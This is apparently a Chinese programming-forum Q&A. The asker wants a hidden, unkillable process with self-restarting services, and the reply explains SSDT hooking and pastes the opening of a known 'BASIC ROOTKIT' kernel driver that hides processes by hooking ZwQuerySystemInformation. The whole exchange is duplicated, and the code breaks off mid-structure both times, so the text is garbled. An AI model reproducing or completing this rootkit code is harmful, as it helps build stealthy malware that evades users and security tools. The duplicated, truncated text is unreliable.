怎么保护自己的进程不被结束 除非是正常用户结束
如何保护自己的进程不被结束 除非是正常用户结束？
我想做一个安全类型的软件（绝对不是病毒） 但是首先要保证别人不知道用户设置的密码就不能对该软件进行关闭或破坏
我想实现以下功能
进程隐藏和保护，就算被专业查看隐藏进程的软件发现了，我的进程也无法终止
注册为系统服务，一旦发现我的服务被禁用 马上开启
还有一点 不知道能实现不 就是安全模式下 也能保护自己的文件不被破坏
------解决方案--------------------
方法很多．不过基本上要看碰到什么人了．碰到高手，还是完蛋！
进程相互监视，看：http://blog.****.net/A00553344/archive/2008/10/31/3191868.aspx
还有就是驱动级别，搞个SSDT勾子啥的．但是需要用Ｃ写（也有人用Ｄ，不过比较麻烦，也有人用ＡＳＭ）．ＳＳＤＴ隐藏进程代码如下：不过勾子方式已经过时了!
这段代码是比较入门的SSDT勾子.原理如下:
1. 用户进程查看当前进程列表的时候,用到的API到了内核后基本上都要调用ZwQuerySystemInformation这个内核函数.
2. 从用户进程进入内核模式调用内核函数都要到一个系统服务分配表(SSDT)去获得内核函数的地址.
3. 这个驱动代码就是通过修改系统服务调用表里的ZwQueryInformation的地址到自己提供的NewZwQueryInformation函,来截获对某个进程的查询而使该进程隐藏.
// BASIC ROOTKIT that hides processes
// ----------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.3 - Added defines to compile on W2K, and comments. Rich
// v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.
// Added code to hide process times of the _root_*'s. Creative
// v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org)
// v1.0 - Trimmed code back to a process hider for the book.
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
我想做一个安全类型的软件（绝对不是病毒） 但是首先要保证别人不知道用户设置的密码就不能对该软件进行关闭或破坏
我想实现以下功能
进程隐藏和保护，就算被专业查看隐藏进程的软件发现了，我的进程也无法终止
注册为系统服务，一旦发现我的服务被禁用 马上开启
还有一点 不知道能实现不 就是安全模式下 也能保护自己的文件不被破坏
------解决方案--------------------
方法很多．不过基本上要看碰到什么人了．碰到高手，还是完蛋！
进程相互监视，看：http://blog.****.net/A00553344/archive/2008/10/31/3191868.aspx
还有就是驱动级别，搞个SSDT勾子啥的．但是需要用Ｃ写（也有人用Ｄ，不过比较麻烦，也有人用ＡＳＭ）．ＳＳＤＴ隐藏进程代码如下：不过勾子方式已经过时了!
这段代码是比较入门的SSDT勾子.原理如下:
1. 用户进程查看当前进程列表的时候,用到的API到了内核后基本上都要调用ZwQuerySystemInformation这个内核函数.
2. 从用户进程进入内核模式调用内核函数都要到一个系统服务分配表(SSDT)去获得内核函数的地址.
3. 这个驱动代码就是通过修改系统服务调用表里的ZwQueryInformation的地址到自己提供的NewZwQueryInformation函,来截获对某个进程的查询而使该进程隐藏.
// BASIC ROOTKIT that hides processes
// ----------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.3 - Added defines to compile on W2K, and comments. Rich
// v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.
// Added code to hide process times of the _root_*'s. Creative
// v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org)
// v1.0 - Trimmed code back to a process hider for the book.
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES